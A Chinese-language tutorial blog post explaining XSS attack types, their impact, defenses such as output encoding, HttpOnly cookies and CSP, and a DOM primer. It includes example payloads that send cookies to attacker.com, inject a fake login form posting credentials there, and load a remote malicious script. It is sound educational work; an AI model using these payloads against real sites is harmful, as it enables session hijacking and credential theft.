网络安全 | 什么是XSS跨站脚本攻击？

关注：CodingTechWork

XSS介绍

XSS（Cross-Site Scripting）即跨站脚本攻击，是一种常见的 Web 安全漏洞。攻击者通过将恶意脚本嵌入到 Web 页面中，当用户访问该页面时，脚本就会在用户的浏览器中执行，从而窃取用户数据、篡改页面内容、或执行其他恶意操作。

XSS 攻击主要依赖于 Web 应用没有对用户输入进行有效的过滤与校验，允许攻击者将恶意代码插入到网页中。这类攻击主要有三个类型：

• 存储型 XSS（Stored XSS）
• 反射型 XSS（Reflected XSS）
• DOM 型 XSS（DOM-based XSS）

XSS 攻击原理

存储型 XSS（Stored XSS）

存储型 XSS 是指攻击者将恶意脚本存储到目标网站的数据库中（如留言板、评论系统等），当其他用户访问该网页时，恶意脚本被从数据库中取出并在浏览器中执行。

原理

• 攻击者提交包含恶意 JavaScript 代码的表单内容（例如：<script>alert('XSS Attack');</script>）。
• 网站没有对提交的内容进行适当过滤，恶意代码被直接存储到数据库中。
• 当其他用户访问该页面时，恶意代码会被加载并执行，造成潜在的安全威胁。

例子

• 用户在评论区输入：<script>alert('Hacked!');</script>
• 如果应用没有过滤或转义这段代码，它会被存储在数据库中，并在其他用户查看该评论时触发 alert。

反射型 XSS（Reflected XSS）

反射型 XSS 是指攻击者通过构造恶意链接，将恶意脚本嵌入 URL 中。当用户点击该链接时，恶意脚本会被反射到浏览器并执行。反射型 XSS 通常用于通过社交工程攻击（如邮件、论坛、消息）诱导用户点击恶意链接。

原理

• 攻击者构造一个包含恶意脚本的 URL，例如：http://example.com/search?query=<script>alert('XSS')</script>
• 用户点击该链接，服务器返回该 URL 中的内容并直接执行其中的 JavaScript 代码。

例子

• 攻击者构造一个 URL，http://example.com/search?query=<script>alert('XSS')</script>
• 当用户访问该链接时，恶意脚本会被反射回浏览器并执行。

DOM 型 XSS（DOM-based XSS）

DOM 型 XSS 是指攻击者通过篡改网页的 DOM（文档对象模型），使得浏览器执行恶意脚本。这种攻击是基于客户端的，攻击者不需要直接在服务器端注入代码，而是通过修改网页的 DOM 来引发恶意脚本执行。

原理

• 攻击者通过修改浏览器中加载的网页的 DOM 结构，导致网页执行恶意 JavaScript 代码。
• 通常通过修改 URL 中的哈希值或参数（例如：window.location.hash）来触发 DOM 型 XSS。

例子

• 攻击者在 URL 中插入恶意代码：http://example.com#<script>alert('DOM XSS')</script>
• 页面通过 JavaScript 读取 URL 哈希值，并将其中的内容直接插入到网页中，从而导致执行恶意脚本。

XSS 攻击的影响

XSS 攻击可能带来多种严重的安全问题：

• 窃取敏感信息：例如，攻击者通过恶意脚本窃取用户的 Cookie 信息、会话令牌或账号密码。
• 篡改页面内容：攻击者可以修改页面内容，诱导用户点击恶意链接，甚至传播恶意软件。
• 劫持用户账户：攻击者可以使用窃取到的 Cookie 或会话信息进行账户劫持。
• 重定向到恶意网站：通过 XSS 攻击，攻击者可以将用户重定向到钓鱼网站或其他恶意站点。

XSS攻击示例

窃取敏感信息（如 Cookie、Session 信息）

XSS 攻击常常用于窃取用户的 Cookie 或 Session 信息，从而盗取用户身份，进行恶意操作。

• 窃取 Cookie：攻击者可以通过在注入的恶意 JavaScript 中，使用 document.cookie 获取用户的 Cookie 信息，并将其发送到攻击者的服务器。例如：

var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;

这样，用户的 Cookie 信息会被发送到攻击者的服务器，攻击者可以利用这些 Cookie 伪装成用户，进行身份盗用。

• 窃取 Session 信息：如果网站通过 Cookie 保存用户的 Session 信息（如用户的登录状态），攻击者可以通过 XSS 获取到 Session ID，从而窃取用户的登录会话。攻击者可以使用窃取到的 Session ID 模拟用户的身份，获取未经授权的访问权限。

篡改页面内容

XSS 攻击者不仅可以窃取信息，还可以篡改网页内容、插入虚假信息或者欺骗用户。攻击者通过注入恶意 JavaScript，可以做到以下几种操作：

• 修改页面内容：攻击者可以修改页面中的任何内容，如改变文本、图片、链接等。比如：

document.getElementById("message").innerHTML = "You've been hacked!";

这样，页面上 ID 为 message 的元素就会显示 "You've been hacked!"，从而达到篡改页面内容的效果。

• 插入虚假表单或按钮：攻击者可以通过 XSS 攻击插入伪造的表单、按钮或输入框，诱导用户输入敏感信息或进行恶意操作。例如，攻击者可以插入一个假的登录表单，诱导用户输入用户名和密码。

var form = '<form action="http://attacker.com/steal" method="POST">' +
           '<input type="text" name="username">' +
           '<input type="password" name="password">' +
           '<input type="submit" value="Submit">' +
           '</form>';
document.body.innerHTML += form;

• 进行钓鱼攻击：攻击者可以伪装成合法网站的一部分，诱导用户执行特定操作。比如，伪造一个登录界面，获取用户的账号和密码信息。

执行任意脚本

攻击者还可以执行任意的 JavaScript 脚本，进行更复杂的攻击，如：

• 劫持点击事件：攻击者可以监听用户的点击事件，并执行恶意操作。例如：

document.addEventListener('click', function() {
    alert("You clicked on the page!");
});

• 重定向用户到恶意网站：攻击者可以将用户重定向到恶意网站，进行钓鱼或下载恶意软件：

window.location.href = "http://malicious-website.com";

• 加载恶意脚本：攻击者可以通过 XSS 注入加载外部恶意脚本，进一步执行攻击操作：

var script = document.createElement("script");
script.src = "http://attacker.com/malicious.js";
document.head.appendChild(script);

如何防止 XSS 攻击？

输入验证与输出编码

防止 XSS 攻击的核心是对用户输入的内容进行有效的验证与过滤，以及对输出到浏览器的内容进行编码。以下是一些常见的防护策略：

• 输入验证：对所有用户输入的内容进行严格校验，确保其符合预期格式，避免恶意脚本的注入。
• 输出编码：对用户输入的内容进行编码，将特殊字符转换为安全的实体。例如，将 < 转换为 <，> 转换为 >，从而避免浏览器将这些字符解析为 HTML 标签或脚本。

HTTPOnly 和 Secure Cookie 属性

• HTTPOnly：通过设置 Cookie 的 HttpOnly 属性，可以防止 JavaScript 访问 Cookie，从而减少 XSS 攻击窃取用户 Cookie 的风险。
• Secure：设置 Secure 属性确保 Cookie 仅在 HTTPS 请求中发送，增加数据传输的安全性。

使用 CSP（内容安全策略）

内容安全策略（Content Security Policy，简称 CSP）是一种增强型的 Web 安全机制，通过制定一套规则，来限制哪些资源可以被加载到网页中，防止 XSS 攻击和数据注入。

通过在 HTTP 头中设置 Content-Security-Policy，可以显著降低 XSS 攻击的风险。例如：

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; object-src 'none';

上面的策略限制了：

• 仅允许加载同源的资源（default-src 'self'）。
• 仅允许从受信任的 CDN 加载 JavaScript 脚本（script-src 'self' https://trusted-cdn.com）。
• 禁止加载 Flash 或其他插件内容（object-src 'none'）。

使用框架和库提供的防护功能

许多现代 Web 开发框架和库（如 React、Angular）都内置了防护 XSS 的功能。例如，React 会自动对用户输入进行转义，从而防止 XSS 攻击。

安全的 DOM 操作

• 避免使用innerHTML：innerHTML 会直接插入 HTML 代码，可能引发 XSS 攻击。使用 textContent 或 createElement 等安全的 DOM 操作替代。
• 避免 JavaScript 事件处理器：避免将 JavaScript 事件处理器（如 onclick）直接嵌入 HTML 元素中，尽量使用addEventListener来绑定事件。

定期安全审计与渗透测试

对 Web 应用进行定期的安全审计和渗透测试，及时发现潜在的 XSS 漏洞，并修复。

DOM结构

DOM介绍

DOM（Document Object Model）结构是网页的一个编程接口（API），它将 HTML 或 XML 文档表示为一个由节点组成的树形结构。这些节点包括元素节点、文本节点、属性节点等，整个文档可以通过 DOM 结构进行访问、操作和修改。

简单来说，DOM 就是浏览器如何理解和表示网页的方式。它把网页的每个部分都当作对象处理，因此开发者可以通过 JavaScript 来操作网页的内容、结构和样式。

DOM 结构的特点

树形结构

DOM 通过树形结构表示网页内容，树的每个节点都是文档的一部分，例如标签、文本、属性等。树的根节点是整个文档（通常是 <html>标签），树的分支是文档的各个元素。

节点

• 元素节点：表示 HTML 标签，比如 <div>, <p>, <h1>等。
• 文本节点：表示 HTML 标签内的文本内容，比如 <h1>Hello World</h1> 中的 "Hello World"。
• 属性节点：表示 HTML 标签的属性，比如 <a href="https://example.com"> 中的 href 属性。
• 文档节点：文档本身的根节点。

编程接口

DOM 提供了一些方法和属性，允许开发者通过编程语言（如 JavaScript）来动态访问和修改页面内容。例如，可以通过getElementById() 获取元素节点，通过 innerHTML 或 textContent 来修改元素内容。

DOM 树结构示例

假设有一个简单的 HTML 页面：

<!DOCTYPE html>
<html>
  <head>
    <title>DOM Example</title>
  </head>
  <body>
    <h1>Welcome to DOM</h1>
    <p>This is a simple example.</p>
  </body>
</html>

DOM 结构会类似于这样：

Document
 ├── html
     ├── head
     │    └── title
     │         └── "DOM Example"
     └── body
          ├── h1
          │    └── "Welcome to DOM"
          └── p
               └── "This is a simple example."

在这个 DOM 树中，html 是根节点，head 和 body 是子节点。head 中包含了一个 title 节点，body 中包含了 h1 和 p 元素节点。

DOM 与 JavaScript 的关系

DOM 使得 JavaScript 能够动态地改变网页内容。开发者可以使用 JavaScript 访问 DOM，改变网页的结构、样式和内容。例如：

document.getElementById('myElement').innerHTML = "New Content";

这段代码会通过 getElementById 获取网页中 ID 为 myElement 的元素，并将其内容修改为 "New Content"。

总结

XSS 攻击是 Web 安全中一个非常严重的漏洞，其危害不仅限于数据泄露和篡改，攻击者还可以通过 XSS 攻击实施更复杂的社会工程学攻击。为了有效防范 XSS 攻击，我们需要从多个方面入手，进行严格的输入验证、输出编码、使用现代安全框架和技术、以及持续进行安全审计等。通过这些措施，我们可以显著提升 Web 应用的安全性，避免遭受 XSS 攻击带来的损失。